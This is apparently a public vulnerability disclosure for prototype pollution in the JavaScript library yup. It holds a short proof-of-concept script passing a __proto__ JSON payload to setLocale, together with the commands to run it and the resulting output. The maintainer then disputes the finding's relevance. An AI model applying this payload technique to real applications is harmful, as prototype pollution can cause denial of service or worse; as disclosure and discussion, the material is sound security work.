Prototype Pollution in yup

[mohanl0l]

✍️ Description

yup is vulnerable to Prototype Pollution.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

1. Create the following PoC file:

// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)

2. Execute the following commands in another terminal:

npm i yup # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Yes! Its Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

✅ Checklist

In my pull request, I have:

• Created and populated the README.md and vulnerability.json files
• Provided the repository URL and any applicable permalinks
• Defined all the applicable weaknesses (CWEs)
• Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
• Checked that the vulnerability affects the latest version of the package released
• Checked that a fix does not currently exist that remediates this vulnerability
• Complied with all applicable laws

[JamieSlome]

@jquense - we have received a vulnerability disclosure which we will triage and fix on your behalf.

Any thoughts on this disclosure? 🍰

Cheers! 🍰

[jquense]

1. This isn't the right way to do security disclosures. Hard to assume any of this is in good faith when you are just posting them publicly on GH.

2. This isn't an issue with my library it's how the language works, and not job of every API to make sure that devs don't construct and pass in bad objects to every possible API

Literally almost any library API that accepts an options object is "vulnerable" to this, in the same way ORM's are "vulnerable" to SQL injection via their API. No one passes untrusted user input to setLocale thats not what it's for. It is for developers, and if developers want to break their own app this way, they don't need my library they can just mutate the object prototype.

[adam-nygate]

1. This isn't the right way to do security disclosures. Hard to assume any of this is in good faith when you are just posting them publicly on GH.

Hi, sorry about this, we're working on a way to automatically disclose this privately to maintainers - please bare with us! If you have any time over the next few weeks for a chat, we would love to get your input on this, and to have you participate in the beta, if of interest.

2. This isn't an issue with my library it's how the language works, and not job of every API to make sure that devs don't construct and pass in bad objects to every possible API

Literally almost any library API that accepts an options object is "vulnerable" to this, in the same way ORM's are "vulnerable" to SQL injection via their API. No one passes untrusted user input to setLocale thats not what it's for. It is for developers, and if developers want to break their own app this way, they don't need my library they can just mutate the object prototype.

It's very true that not every API should protect against every potential attack vector and as you mentioned, it doesn't make much sense to protect against SQL injection in some ORM interfaces, however in this instance, although the possibility of a developer mis-implementing setLocale may be low (although I'm sure we've all seen crazy code being written by developers), the potential impact could be severe. This vulnerability allows someone to pollute the global object with arbitrary properties, which could cause weird/mal-intended behaviours with your library as well as any code that depends upon your package.

We may disagree about it's severity, but no worries, we'd be happy to write the PR to prevent this type of attack (just in case). Are you ok with this? @jquense

[jquense]

Yup accepts PRs so feel free